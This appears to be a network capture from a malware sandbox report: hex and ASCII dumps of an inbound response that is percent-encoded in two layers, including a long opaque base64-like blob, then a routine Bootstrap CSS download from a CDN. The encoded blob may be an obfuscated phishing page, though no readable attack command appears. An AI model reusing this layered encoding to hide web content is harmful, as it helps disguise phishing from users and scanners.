2024-05-01 17:04:26 UTC	8000	IN	Data Raw: 39 25 32 30 25 33 30 25 32 45 25 33 31 25 37 33 25 32 43 25 32 30 25 37 34 25 37 32 25 36 31 25 36 45 25 37 33 25 36 36 25 36 46 25 37 32 25 36 44 25 32 30 25 33 30 25 32 45 25 33 33 25 37 33 25 32 30 25 36 33 25 37 35 25 36 32 25 36 39 25 36 33 25 32 44 25 36 32 25 36 35 25 37 41 25 36 39 25 36 35 25 37 32 25 32 38 25 33 30 25 32 45 25 33 31 25 33 37 25 32 43 25 32 30 25 32 44 25 33 30 25 32 45 25 33 36 25 33 35 25 32 43 25 32 30 25 33 30 25 32 45 25 33 36 25 33 36 25 33 35 25 32 43 25 32 30 25 33 31 25 32 45 25 33 32 25 33 35 25 32 39 25 33 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 37 34 25 37 32 25 36 31 25 36 45 25 37 33 25 36 39 25 37 34 25 36 39 25 36 46 25 36 45 25 33 41 25 32 30 25 36 46 25 37 30 25 36 Data Ascii: 9%20%30%2E%31%73%2C%20%74%72%61%6E%73%66%6F%72%6D%20%30%2E%33%73%20%63%75%62%69%63%2D%62%65%7A%69%65%72%28%30%2E%31%37%2C%20%2D%30%2E%36%35%2C%20%30%2E%36%36%35%2C%20%31%2E%32%35%29%3B%0A%20%20%20%20%20%20%20%20%74%72%61%6E%73%69%74%69%6F%6E%3A%20%6F%70%6
2024-05-01 17:04:26 UTC	8000	IN	Data Raw: 34 44 25 33 36 25 37 32 25 32 42 25 33 35 25 37 41 25 37 31 25 37 32 25 37 34 25 34 39 25 36 31 25 33 31 25 34 32 25 37 35 25 36 46 25 35 35 25 35 32 25 36 42 25 34 31 25 33 31 25 34 34 25 36 35 25 37 34 25 35 39 25 34 36 25 36 36 25 36 36 25 35 37 25 34 31 25 34 42 25 36 41 25 37 31 25 36 35 25 34 42 25 37 37 25 36 35 25 33 39 25 36 39 25 36 37 25 35 36 25 37 31 25 34 36 25 33 37 25 34 39 25 37 33 25 35 35 25 37 30 25 36 45 25 37 31 25 33 33 25 35 33 25 36 33 25 32 42 25 37 32 25 37 37 25 37 38 25 37 39 25 37 35 25 36 46 25 35 38 25 34 35 25 33 36 25 37 37 25 32 42 25 34 37 25 37 35 25 35 30 25 37 31 25 35 30 25 35 41 25 37 32 25 33 37 25 33 39 25 32 46 25 34 37 25 37 33 25 34 39 25 34 36 25 36 32 25 36 34 25 36 43 25 33 31 25 35 41 25 37 38 25 36 32 25 Data Ascii: 4D%36%72%2B%35%7A%71%72%74%49%61%31%42%75%6F%55%52%6B%41%31%44%65%74%59%46%66%66%57%41%4B%6A%71%65%4B%77%65%39%69%67%56%71%46%37%49%73%55%70%6E%71%33%53%63%2B%72%77%78%79%75%6F%58%45%36%77%2B%47%75%50%71%50%5A%72%37%39%2F%47%73%49%46%62%64%6C%31%5A%78%62%
2024-05-01 17:04:26 UTC	8000	IN	Data Raw: 25 32 46 25 36 36 25 35 41 25 33 38 25 34 32 25 36 46 25 34 41 25 33 33 25 36 36 25 34 39 25 36 36 25 35 41 25 36 38 25 32 42 25 33 35 25 37 32 25 34 39 25 37 31 25 33 34 25 33 36 25 36 33 25 37 32 25 35 39 25 36 46 25 33 36 25 35 30 25 33 36 25 34 35 25 36 37 25 37 34 25 35 35 25 34 33 25 33 31 25 34 38 25 33 36 25 37 30 25 36 38 25 36 34 25 36 34 25 35 36 25 34 46 25 34 32 25 35 35 25 36 38 25 36 46 25 34 31 25 34 44 25 34 31 25 35 35 25 35 36 25 37 33 25 36 33 25 36 41 25 35 36 25 36 36 25 36 34 25 33 37 25 35 39 25 34 36 25 36 33 25 33 34 25 36 37 25 34 31 25 35 36 25 37 33 25 33 34 25 33 30 25 34 32 25 33 31 25 37 32 25 36 37 25 33 38 25 36 42 25 34 45 25 34 42 25 35 38 25 35 36 25 36 32 25 36 44 25 36 37 25 34 36 25 37 30 25 37 37 25 34 31 25 33 32 Data Ascii: %2F%66%5A%38%42%6F%4A%33%66%49%66%5A%68%2B%35%72%49%71%34%36%63%72%59%6F%36%50%36%45%67%74%55%43%31%48%36%70%68%64%64%56%4F%42%55%68%6F%41%4D%41%55%56%73%63%6A%56%66%64%37%59%46%63%34%67%41%56%73%34%30%42%31%72%67%38%6B%4E%4B%58%56%62%6D%67%46%70%77%41%32
2024-05-01 17:04:26 UTC	8000	IN	Data Raw: 33 25 33 31 25 33 31 25 34 34 25 34 45 25 35 30 25 33 33 25 35 38 25 35 35 25 35 32 25 33 39 25 33 30 25 33 30 25 35 37 25 37 31 25 37 35 25 32 46 25 35 41 25 37 30 25 37 39 25 36 43 25 33 32 25 37 36 25 37 33 25 36 43 25 34 36 25 32 46 25 35 37 25 36 35 25 34 46 25 35 33 25 36 31 25 36 37 25 37 31 25 37 31 25 33 36 25 32 46 25 35 38 25 36 45 25 36 45 25 33 32 25 32 42 25 37 36 25 36 32 25 33 36 25 32 46 25 36 36 25 36 36 25 33 38 25 35 37 25 37 33 25 37 35 25 37 34 25 33 33 25 36 46 25 37 34 25 33 34 25 33 30 25 37 36 25 37 32 25 34 45 25 36 46 25 34 31 25 37 37 25 34 37 25 36 42 25 34 31 25 36 38 25 35 30 25 36 45 25 34 38 25 36 46 25 36 46 25 34 34 25 33 39 25 36 35 25 33 31 25 36 31 25 36 37 25 35 31 25 36 44 25 35 32 25 35 37 25 35 41 25 35 37 25 35 Data Ascii: 3%31%31%44%4E%50%33%58%55%52%39%30%30%57%71%75%2F%5A%70%79%6C%32%76%73%6C%46%2F%57%65%4F%53%61%67%71%71%36%2F%58%6E%6E%32%2B%76%62%36%2F%66%66%38%57%73%75%74%33%6F%74%34%30%76%72%4E%6F%41%77%47%6B%41%68%50%6E%48%6F%6F%44%39%65%31%61%67%51%6D%52%57%5A%57%5
2024-05-01 17:04:26 UTC	8000	IN	Data Raw: 34 37 25 33 34 25 33 39 25 34 32 25 37 31 25 37 39 25 33 35 25 35 39 25 37 32 25 36 33 25 37 34 25 35 36 25 36 39 25 33 32 25 32 46 25 33 31 25 33 30 25 35 37 25 37 32 25 36 34 25 34 46 25 35 31 25 37 41 25 36 46 25 33 32 25 36 32 25 34 35 25 37 31 25 33 39 25 33 35 25 37 30 25 36 46 25 33 31 25 34 41 25 34 41 25 37 41 25 34 32 25 36 34 25 36 43 25 35 38 25 37 35 25 36 34 25 34 35 25 35 36 25 33 35 25 36 45 25 37 32 25 34 39 25 32 46 25 35 33 25 33 32 25 33 32 25 33 33 25 33 34 25 35 38 25 33 31 25 37 31 25 36 39 25 35 41 25 35 37 25 36 41 25 36 32 25 34 46 25 35 39 25 37 34 25 34 46 25 32 46 25 37 36 25 32 46 25 34 45 25 37 37 25 37 31 25 35 30 25 36 44 25 33 33 25 37 34 25 36 46 25 35 34 25 34 37 25 36 34 25 33 36 25 37 35 25 34 32 25 35 36 25 36 46 25 Data Ascii: 47%34%39%42%71%79%35%59%72%63%74%56%69%32%2F%31%30%57%72%64%4F%51%7A%6F%32%62%45%71%39%35%70%6F%31%4A%4A%7A%42%64%6C%58%75%64%45%56%35%6E%72%49%2F%53%32%32%33%34%58%31%71%69%5A%57%6A%62%4F%59%74%4F%2F%76%2F%4E%77%71%50%6D%33%74%6F%54%47%64%36%75%42%56%6F%
2024-05-01 17:04:26 UTC	8000	IN	Data Raw: 25 33 36 25 34 46 25 37 36 25 33 31 25 36 43 25 33 38 25 33 32 25 36 45 25 34 38 25 33 35 25 36 34 25 32 46 25 34 44 25 36 34 25 37 37 25 37 38 25 36 33 25 32 42 25 36 46 25 33 37 25 37 36 25 32 42 25 36 34 25 36 35 25 33 32 25 35 39 25 34 43 25 33 31 25 34 31 25 37 31 25 34 44 25 37 32 25 34 39 25 34 44 25 37 32 25 35 31 25 36 33 25 37 31 25 33 31 25 33 35 25 33 33 25 34 38 25 33 35 25 37 37 25 34 32 25 34 39 25 34 31 25 33 32 25 36 36 25 36 44 25 33 37 25 35 31 25 35 33 25 34 42 25 36 37 25 34 32 25 33 31 25 34 41 25 36 42 25 34 31 25 34 32 25 35 36 25 36 45 25 36 37 25 34 38 25 36 43 25 36 42 25 34 39 25 36 38 25 35 30 25 36 43 25 35 32 25 34 36 25 37 31 25 34 34 25 35 37 25 36 41 25 35 36 25 36 45 25 35 34 25 36 37 25 33 38 25 34 46 25 32 46 25 36 39 Data Ascii: %36%4F%76%31%6C%38%32%6E%48%35%64%2F%4D%64%77%78%63%2B%6F%37%76%2B%64%65%32%59%4C%31%41%71%4D%72%49%4D%72%51%63%71%31%35%33%48%35%77%42%49%41%32%66%6D%37%51%53%4B%67%42%31%4A%6B%41%42%56%6E%67%48%6C%6B%49%68%50%6C%52%46%71%44%57%6A%56%6E%54%67%38%4F%2F%69
2024-05-01 17:04:26 UTC	8000	IN	Data Raw: 37 25 36 39 25 36 31 25 34 42 25 33 32 25 36 32 25 34 34 25 37 31 25 36 46 25 32 42 25 36 32 25 35 36 25 33 35 25 33 38 25 34 32 25 35 39 25 34 35 25 33 35 25 35 35 25 36 34 25 33 33 25 36 38 25 32 46 25 36 32 25 33 33 25 37 32 25 36 45 25 35 41 25 34 39 25 34 45 25 35 36 25 34 31 25 35 41 25 33 32 25 36 37 25 34 46 25 36 43 25 34 32 25 35 37 25 37 35 25 33 38 25 33 38 25 34 44 25 37 35 25 33 31 25 37 30 25 35 37 25 36 32 25 35 37 25 35 36 25 35 37 25 36 45 25 36 36 25 37 41 25 35 36 25 37 32 25 36 46 25 36 37 25 33 30 25 33 34 25 37 39 25 32 46 25 35 41 25 37 33 25 34 43 25 35 36 25 35 41 25 34 41 25 36 37 25 36 38 25 32 46 25 34 39 25 32 42 25 35 39 25 34 35 25 34 44 25 37 38 25 35 36 25 37 30 25 37 32 25 37 41 25 37 31 25 37 30 25 34 38 25 36 31 25 35 Data Ascii: 7%69%61%4B%32%62%44%71%6F%2B%62%56%35%38%42%59%45%35%55%64%33%68%2F%62%33%72%6E%5A%49%4E%56%41%5A%32%67%4F%6C%42%57%75%38%38%4D%75%31%70%57%62%57%56%57%6E%66%7A%56%72%6F%67%30%34%79%2F%5A%73%4C%56%5A%4A%67%68%2F%49%2B%59%45%4D%78%56%70%72%7A%71%70%48%61%5
2024-05-01 17:04:26 UTC	8000	IN	Data Raw: 35 41 25 35 32 25 35 37 25 37 31 25 36 31 25 37 31 25 36 38 25 36 35 25 33 35 25 36 34 25 36 38 25 36 41 25 33 31 25 35 36 25 33 37 25 36 36 25 34 33 25 34 32 25 36 36 25 33 35 25 33 35 25 34 36 25 37 37 25 34 35 25 35 36 25 35 30 25 34 38 25 37 39 25 36 46 25 34 43 25 37 30 25 37 34 25 36 44 25 36 43 25 36 32 25 33 35 25 37 35 25 35 36 25 35 35 25 35 35 25 34 31 25 35 38 25 34 31 25 35 30 25 36 46 25 34 41 25 34 32 25 34 42 25 37 38 25 34 31 25 36 32 25 37 32 25 34 33 25 33 31 25 33 30 25 35 34 25 34 39 25 34 36 25 33 31 25 34 43 25 33 35 25 36 34 25 35 36 25 34 43 25 34 39 25 35 36 25 34 43 25 36 41 25 37 31 25 36 34 25 36 32 25 36 34 25 35 35 25 34 41 25 35 35 25 36 41 25 37 33 25 36 35 25 37 30 25 32 42 25 37 38 25 34 34 25 34 36 25 37 41 25 33 37 25 Data Ascii: 5A%52%57%71%61%71%68%65%35%64%68%6A%31%56%37%66%43%42%66%35%35%46%77%45%56%50%48%79%6F%4C%70%74%6D%6C%62%35%75%56%55%55%41%58%41%50%6F%4A%42%4B%78%41%62%72%43%31%30%54%49%46%31%4C%35%64%56%4C%49%56%4C%6A%71%64%62%64%55%4A%55%6A%73%65%70%2B%78%44%46%7A%37%
2024-05-01 17:04:26 UTC	8000	IN	Data Raw: 25 36 31 25 37 31 25 36 35 25 37 36 25 35 36 25 36 33 25 35 36 25 34 31 25 34 45 25 35 37 25 37 38 25 35 37 25 37 33 25 34 42 25 37 38 25 33 34 25 36 39 25 34 31 25 34 34 25 36 45 25 36 39 25 35 37 25 34 37 25 35 32 25 36 31 25 35 30 25 34 31 25 36 35 25 33 33 25 36 32 25 35 36 25 37 31 25 32 42 25 36 44 25 34 46 25 32 42 25 36 32 25 35 30 25 35 36 25 34 41 25 36 32 25 33 34 25 33 38 25 34 45 25 33 38 25 34 38 25 37 41 25 35 37 25 33 36 25 36 44 25 33 36 25 34 31 25 34 45 25 34 36 25 33 32 25 35 39 25 36 33 25 37 31 25 33 32 25 33 37 25 37 31 25 35 37 25 34 45 25 35 38 25 35 30 25 35 37 25 34 34 25 35 35 25 35 32 25 34 41 25 36 35 25 37 38 25 34 43 25 37 31 25 33 39 25 35 41 25 37 32 25 37 38 25 36 32 25 36 34 25 35 35 25 35 31 25 37 39 25 34 42 25 34 42 Data Ascii: %61%71%65%76%56%63%56%41%4E%57%78%57%73%4B%78%34%69%41%44%6E%69%57%47%52%61%50%41%65%33%62%56%71%2B%6D%4F%2B%62%50%56%4A%62%34%38%4E%38%48%7A%57%36%6D%36%41%4E%46%32%59%63%71%32%37%71%57%4E%58%50%57%44%55%52%4A%65%78%4C%71%39%5A%72%78%62%64%55%51%79%4B%4B

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:04:27 UTC	549	OUT	GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 17:04:27 UTC	932	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 17:04:27 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"450fc463b8b1a349df717056fbb3e078" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/31/2023 18:54:29 CDN-EdgeStorageId: 941 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 5d2c135cc52daf7e5ec6fa8d26de92ba CDN-Cache: HIT CF-Cache-Status: HIT Age: 3794292 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 87d159cd2ee8822d-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 17:04:27 UTC	437	IN	Data Raw: 37 63 30 63 0d 0a 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 6c 75 65 3a 23 30 30 37 62 66 66 3b 2d 2d 69 6e 64 69 67 6f 3a 23 36 36 31 30 Data Ascii: 7c0c/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors * Copyright 2011-2018 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */:root{--blue:#007bff;--indigo:#6610
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 6d 61 72 79 3a 23 30 30 37 62 66 66 3b 2d 2d 73 65 63 6f 6e 64 61 72 79 3a 23 36 63 37 35 37 64 3b 2d 2d 73 75 63 63 65 73 73 3a 23 32 38 61 37 34 35 3b 2d 2d 69 6e 66 6f 3a 23 31 37 61 32 62 38 3b 2d 2d 77 61 72 6e 69 6e 67 3a 23 66 66 63 31 30 37 3b 2d 2d 64 61 6e 67 65 72 3a 23 64 63 33 35 34 35 3b 2d 2d 6c 69 67 68 74 3a 23 66 38 66 39 66 61 3b 2d 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 73 3a 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 73 6d 3a 35 37 36 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6d 64 3a 37 36 38 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6c 67 3a 39 39 32 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 6c 3a 31 32 30 30 70 78 3b 2d 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 2d 73 61 Data Ascii: mary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sa
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 3b 63 75 72 73 6f 72 3a 68 65 6c 70 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 7d 61 64 64 72 65 73 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 64 6c 2c 6f 6c 2c 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 6f 6c 20 6f 6c 2c 6f 6c 20 75 6c 2c 75 6c 20 6f 6c 2c 75 6c 20 75 6c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 64 74 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 64 64 7b 6d 61 72 67 Data Ascii: tion:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{marg
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 75 74 6f 20 2d 77 65 62 6b 69 74 2d 66 6f 63 75 73 2d 72 69 6e 67 2d 63 6f 6c 6f 72 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 2c 62 75 74 74 6f 6e 2c 68 74 6d 6c 20 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 7b 2d 77 65 62 Data Ascii: uto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-web
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 68 31 2c 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 7d 2e 68 32 2c 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 7d 2e 68 33 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 35 72 65 6d 7d 2e 68 34 2c 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 7d 2e 68 35 2c 68 35 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 7d 2e 68 36 2c 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 7d 2e 6c 65 61 64 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 Data Ascii: n-bottom:.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25rem;font-wei
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 53 46 4d 6f 6e 6f 2d 52 65 67 75 6c 61 72 2c 4d 65 6e 6c 6f 2c 4d 6f 6e 61 63 6f 2c 43 6f 6e 73 6f 6c 61 73 2c 22 4c 69 62 65 72 61 74 69 6f 6e 20 4d 6f 6e 6f 22 2c 22 43 6f 75 72 69 65 72 20 4e 65 77 22 2c 6d 6f 6e 6f 73 70 61 63 65 7d 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35 25 3b 63 6f 6c 6f 72 3a 23 65 38 33 65 38 63 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 6b 2d 77 6f 72 64 7d 61 3e 63 6f 64 65 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 6b 62 64 7b 70 61 64 64 69 6e 67 3a 2e 32 72 65 6d 20 2e 34 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35 25 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 31 32 35 32 39 3b 62 6f 72 64 65 72 2d 72 61 64 Data Ascii: font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}code{font-size:87.5%;color:#e83e8c;word-break:break-word}a>code{color:inherit}kbd{padding:.2rem .4rem;font-size:87.5%;color:#fff;background-color:#212529;border-rad
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 2c 2e 63 6f 6c 2d 6d 64 2c 2e 63 6f 6c 2d 6d 64 2d 31 2c 2e 63 6f 6c 2d 6d 64 2d 31 30 2c 2e 63 6f 6c 2d 6d 64 2d 31 31 2c 2e 63 6f 6c 2d 6d 64 2d 31 32 2c 2e 63 6f 6c 2d 6d 64 2d 32 2c 2e 63 6f 6c 2d 6d 64 2d 33 2c 2e 63 6f 6c 2d 6d 64 2d 34 2c 2e 63 6f 6c 2d 6d 64 2d 35 2c 2e 63 6f 6c 2d 6d 64 2d 36 2c 2e 63 6f 6c 2d 6d 64 2d 37 2c 2e 63 6f 6c 2d 6d 64 2d 38 2c 2e 63 6f 6c 2d 6d 64 2d 39 2c 2e 63 6f 6c 2d 6d 64 2d 61 75 74 6f 2c 2e 63 6f 6c 2d 73 6d 2c 2e 63 6f 6c 2d 73 6d 2d 31 2c 2e 63 6f 6c 2d 73 6d 2d 31 30 2c 2e 63 6f 6c 2d 73 6d 2d 31 31 2c 2e 63 6f 6c 2d 73 6d 2d 31 32 2c 2e 63 6f 6c 2d 73 6d 2d 32 2c 2e 63 6f 6c 2d 73 6d 2d 33 2c 2e 63 6f 6c 2d 73 6d 2d 34 2c 2e 63 6f 6c 2d 73 6d 2d 35 2c 2e 63 6f 6c 2d 73 6d 2d 36 2c 2e 63 6f 6c 2d 73 6d 2d 37 Data Ascii: ,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 39 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 37 35 25 7d 2e 63 6f 6c 2d 31 30 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 31 31 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 Data Ascii: 67%;max-width:66.666667%}.col-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.66666
2024-05-01 17:04:27 UTC	1369	IN	Data Raw: 36 37 25 7d 2e 6f 66 66 73 65 74 2d 33 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 35 25 7d 2e 6f 66 66 73 65 74 2d 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 33 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 35 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 31 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 36 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 25 7d 2e 6f 66 66 73 65 74 2d 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 35 25 7d 2e 6f 66 66 73 65 74 2d 31 30 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 Data Ascii: 67%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.333333%}.offset-8{margin-left:66.666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.333333%}.offset
